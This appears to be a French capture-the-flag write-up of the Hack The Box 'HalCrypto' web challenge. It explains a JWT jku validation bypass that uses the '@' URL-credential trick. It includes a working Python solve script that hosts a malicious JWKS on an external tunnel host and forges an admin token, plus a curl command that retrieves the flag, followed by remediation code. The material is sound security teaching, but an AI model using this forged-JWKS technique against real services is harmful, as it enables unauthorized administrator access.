Synthese
- Challenge : HalCrypto
- Categorie : Securite Web
- Vulnerabilite : Contournement de la validation JWT via confusion d’URL avec le symbole @
- Impact : Contournement de l’authentification menant a un acces administrateur
- Flag :
HTB{r3d1r3c73d_70_my_s3cr37s}
Vue d’ensemble de la vulnerabilite
Diagramme du flux d’attaque
graph TD
A[User Login + Attacker JWT] --> B[AuthMiddleware]
B --> C[Extract JKU URL from Header]
C --> D{Validate JKU URL<br/>lastIndexOf check}
D -->|"URL starts with AUTH_PROVIDER<br/>string-based comparison"| E[PASSES]
D -->|"Does not start with AUTH_PROVIDER"| R[Rejected]
E --> F["Fetch JWKS from JKU URL"]
F --> G["JWT Verification with<br/>attacker's public key"]
G --> H[Auth Bypass]
H --> I[Flag]
subgraph "URL Confusion"
J["Validator sees:<br/>http://127.0.0.1:[email protected]/...<br/>starts with AUTH_PROVIDER ✓"]
K["HTTP client connects to:<br/>attacker.com<br/>treats 127.0.0.1:1337 as credentials"]
end
D -.-> J
F -.-> K
Analyse source-to-sink
1. Point d’entree - Authentification JWT (Source)
La vulnerabilite commence lorsque le AuthMiddleware traite les tokens JWT :
// middleware/AuthMiddleware.js:5-34
module.exports = async (req, res, next) => {
try {
if (req.cookies.session === undefined) {
if (!req.is('application/json')) return res.redirect('/');
return res.status(401).send(response('Authentication required!'));
}
return JWTHelper.getHeader(req.cookies.session)
.then(header => {
if (header.jku && header.kid) {
// VULNERABILITY: Weak URL validation using lastIndexOf
if (header.jku.lastIndexOf(config.AUTH_PROVIDER, 0) !== 0) {
return res.status(500).send(response('The JWKS endpoint is not from localhost!'));
}
return JWTHelper.getPublicKey(header.jku, header.kid)
.then(pubkey => {
return JWTHelper.verify(req.cookies.session, pubkey)
.then(data => {
req.user = data.user;
return next();
})
.catch(() => res.status(403).send(response('Authentication token could not be verified!')));
})
.catch(() => res.redirect('/logout'));
}
return res.status(500).send(response('Missing required claims in JWT!'));
})
.catch(err => res.status(500).send(response("Invalid session token supplied!")));
} catch (e) {
return res.status(500).send(response(e.toString()));
}
}
2. La validation vulnerable - Verification d’URL basee sur les chaines de caracteres
La vulnerabilite critique se trouve a la ligne 14 de AuthMiddleware.js :
// The vulnerable check
if (header.jku.lastIndexOf(config.AUTH_PROVIDER, 0) !== 0) {
return res.status(500).send(response('The JWKS endpoint is not from localhost!'));
}
Pourquoi c’est vulnerable :
lastIndexOf(searchString, 0)verifie uniquement si la chaine commence parsearchString- C’est une simple comparaison de chaines, pas une analyse d’URL appropriee
- Ne prend pas en compte la syntaxe URL pour les identifiants d’authentification (
user:pass@host)
3. Configuration - AUTH_PROVIDER attendu
// config.js:11-15
if (env == 'prod') {
this.AUTH_PROVIDER = 'http://halcrypto.htb:1337';
} else {
this.AUTH_PROVIDER = 'http://127.0.0.1:1337';
}
L’application s’attend a ce que les URL JKU commencent par :
- Production :
http://halcrypto.htb:1337 - Developpement :
http://127.0.0.1:1337
4. Recuperation du JWKS - Le sink
Le JWTHelper recupere la cle publique depuis l’URL controlee par l’attaquant :
// helpers/JWTHelper.js:52-67
async getPublicKey(jku, kid) {
return new Promise(async (resolve, reject) => {
client = jwksClient({
jwksUri: jku, // Attacker-controlled URL
fetcher: this.nodeFetch,
timeout: 30000
});
client.getSigningKey(kid)
.then(key => {
resolve(key.getPublicKey());
})
.catch(e => {
reject(e);
});
});
}
La fonction nodeFetch qui effectue reellement la requete HTTP :
// helpers/JWTHelper.js:6-16
async nodeFetch(url) {
return new Promise(async (resolve, reject) => {
try {
res = await fetch(url); // Fetches from attacker's server
resolve(res.json());
}
catch (e) {
reject(e);
}
});
}
Explication de l’attaque par confusion d’URL
Fonctionnement de l’analyse d’URL
Point cle : La validation voit 127.0.0.1:1337 comme faisant partie de l’URL, mais les clients HTTP l’interpretent comme des identifiants d’authentification et se connectent a attacker.com a la place.
Chaine d’exploitation
Flux d’exploitation detaille
sequenceDiagram
participant Attacker
participant Target as Target Server
participant AttackerServer as Attacker JWKS Server
Attacker->>Attacker: Generate RSA keypair
Attacker->>Attacker: Craft malicious JKU URL<br/>http://127.0.0.1:[email protected]/jwks.json
Attacker->>Attacker: Create admin JWT signed<br/>with private key
Attacker->>Target: Send request with forged JWT
Target->>Target: Validate JKU with lastIndexOf<br/>starts with AUTH_PROVIDER ✓
Target->>AttackerServer: Fetch JWKS from JKU URL
AttackerServer-->>Target: Return attacker's public key
Target->>Target: Validate JWT signature<br/>with attacker's public key ✓
Target->>Target: Grant admin access
Target-->>Attacker: Return flag
Implementation de l’exploit
1. Serveur JWKS malveillant (solve.py)
from flask import Flask, jsonify
from jwcrypto import jwk
import jwt, time
# Generate RSA key pair
key = jwk.JWK.generate(kty='RSA', size=2048)
pub_jwk = jwk.JWK()
pub_jwk.import_key(**key.export(as_dict=True, private_key=False))
kid = 'attack-key-1'
# Format JWKS to match application expectations
pub_jwk_dict = pub_jwk.export(as_dict=True)
pub_jwk_dict['kid'] = kid
pub_jwk_dict['alg'] = 'RS256'
pub_jwk_dict['use'] = 'sig'
jwks = {'keys': [pub_jwk_dict]}
app = Flask(__name__)
@app.get("/.well-known/jwks.json")
def jwks_endpoint():
return jsonify(jwks)
if __name__ == "__main__":
your_host = "mytuhc90.relais.dev" # Tunnel endpoint
# Craft malicious JKU URL with @ symbol for URL confusion
jku = f"http://127.0.0.1:1337@{your_host}/.well-known/jwks.json"
# Create admin JWT payload
payload = {
"user": {
"username": "admin",
"is_admin": 1 # Elevate privileges
},
"iat": int(time.time()),
"exp": int(time.time()) + 3600
}
# Sign with our private key
priv_pem = key.export_to_pem(private_key=True, password=None)
token = jwt.encode(
payload,
priv_pem,
algorithm="RS256",
headers={
"jku": jku, # Points to our server but passes validation
"kid": kid # Key ID to find in our JWKS
}
)
print("Use this token as the 'session' cookie:")
print(token)
app.run(host="0.0.0.0", port=8000)
2. Structure du JWT malveillant genere
{
"header": {
"alg": "RS256",
"jku": "http://127.0.0.1:[email protected]/.well-known/jwks.json",
"kid": "attack-key-1",
"typ": "JWT"
},
"payload": {
"user": {
"username": "admin",
"is_admin": 1
},
"iat": 1757660738,
"exp": 1757664338
},
"signature": "[signed with attacker's private key]"
}
3. Execution de l’attaque
# Step 1: Start malicious JWKS server
python3 solve.py
# Step 2: Use generated token
TOKEN="eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly8xMjcuMC4wLjE6MTMzN0BteXR1aGM5MC5yZWxhaXMuZGV2Ly53ZWxsLWtub3duL2p3a3MuanNvbiIsImtpZCI6ImF0dGFjay1rZXktMSIsInR5cCI6IkpXVCJ9..."
# Step 3: Access admin dashboard with forged token
curl -s http://halcrypto.htb:34139/dashboard \
-H "Cookie: session=$TOKEN" \
| grep -o 'HTB{[^}]*}'
Analyse de la cause racine de la vulnerabilite
Pourquoi l’attaque reussit
graph LR
A["Weak URL Validation<br/>(lastIndexOf)"] --> B["URL Parsing Ambiguity<br/>(@ symbol)"]
B --> C["JWKS Trust Model Flaw<br/>(blindly trusts fetched keys)"]
C --> D["Missing Security Controls<br/>(no egress filtering,<br/>no endpoint allowlist)"]
D --> E["Auth Bypass"]
Problemes de securite identifies
Validation d’URL faible
- Utilise l’operation de chaine
lastIndexOfau lieu d’une analyse d’URL appropriee - Ne valide pas la structure ni les composants de l’URL
- Utilise l’operation de chaine
Ambiguite de l’analyse d’URL
- Interpretation differente du symbole
@entre le validateur et le client HTTP - Aucune desinfection des composants d’authentification de l’URL
- Interpretation differente du symbole
Modele de confiance JWKS
- Fait aveuglément confiance a tout JWKS provenant d’une URL “validee”
- Pas d’epinglage de certificat ni de verification supplementaire
Controles de securite manquants
- Pas de filtrage en sortie pour la recuperation JWKS
- Pas de liste blanche des points de terminaison JWKS de confiance
- Configuration statique sans validation a l’execution
Recommandations de remediation
1. Validation d’URL appropriee
// Secure URL validation using URL parsing
const validateJKU = (jku) => {
const allowedHosts = ['127.0.0.1:1337', 'halcrypto.htb:1337'];
try {
const url = new URL(jku);
// Check for authentication credentials
if (url.username || url.password) {
throw new Error('URLs with credentials are not allowed');
}
// Validate host
if (!allowedHosts.includes(url.host)) {
throw new Error('Unauthorized JWKS host');
}
// Validate protocol
if (url.protocol !== 'http:' && url.protocol !== 'https:') {
throw new Error('Invalid protocol');
}
return true;
} catch (e) {
return false;
}
};
2. Liste blanche des points de terminaison JWKS
// Strict allowlist approach
const ALLOWED_JWKS_ENDPOINTS = [
'http://127.0.0.1:1337/.well-known/jwks.json',
'http://halcrypto.htb:1337/.well-known/jwks.json'
];
const validateJWKS = (jku) => {
return ALLOWED_JWKS_ENDPOINTS.includes(jku);
};
3. Epinglage de certificat
// Pin expected certificates or keys
const PINNED_KEYS = {
'http://127.0.0.1:1337/.well-known/jwks.json': {
kid: 'expected-key-id',
thumbprint: 'sha256:...'
}
};
const validateKey = (jku, key) => {
const pinned = PINNED_KEYS[jku];
return pinned && key.kid === pinned.kid;
};
4. Segmentation reseau
// Implement egress filtering
const fetchJWKS = async (url) => {
// Parse and validate URL
const parsed = new URL(url);
// Block private networks
if (isPrivateIP(parsed.hostname)) {
throw new Error('Access to private networks denied');
}
// Use a proxy for external requests
return await fetch(url, {
agent: trustedProxy,
timeout: 5000
});
};
Chronologie de l’attaque
- Reconnaissance initiale - Identification de l’authentification basee sur JWT avec en-tete JKU
- Analyse du code source - Decouverte de la validation vulnerable par
lastIndexOf - Recherche sur la confusion d’URL - Decouverte de la technique de contournement par le symbole
@ - Developpement de l’exploit - Creation du serveur JWKS malveillant et du generateur JWT
- Mise en place du tunnel - Etablissement de l’acces externe via
relais.dev - Execution de l’attaque - Contournement de l’authentification reussi
- Recuperation du flag - Acces au tableau de bord administrateur et extraction du flag
Extraction du flag
L’acces reussi a /dashboard avec le JWT forge a revele :
<div class="c-balance">
<div class="row">
<div class="col">
<p class="pr-h1 text-uppercase">flag</p>
<p class="pr-num"> HTB{r3d1r3c73d_70_my_s3cr37s} </p>
</div>
</div>
</div>
Lecons apprises
- Complexite de l’analyse d’URL - Les URL comportent de nombreux composants qui peuvent etre interpretes differemment
- Operations sur les chaines != Securite - Ne jamais utiliser d’operations sur les chaines pour des validations de securite
- Frontieres de confiance - Les ressources externes ne doivent jamais etre approuvees aveuglément
- Defense en profondeur - Plusieurs couches de validation sont necessaires
- Conformite aux standards - Suivre les bonnes pratiques de securite JWT (RFC 8725)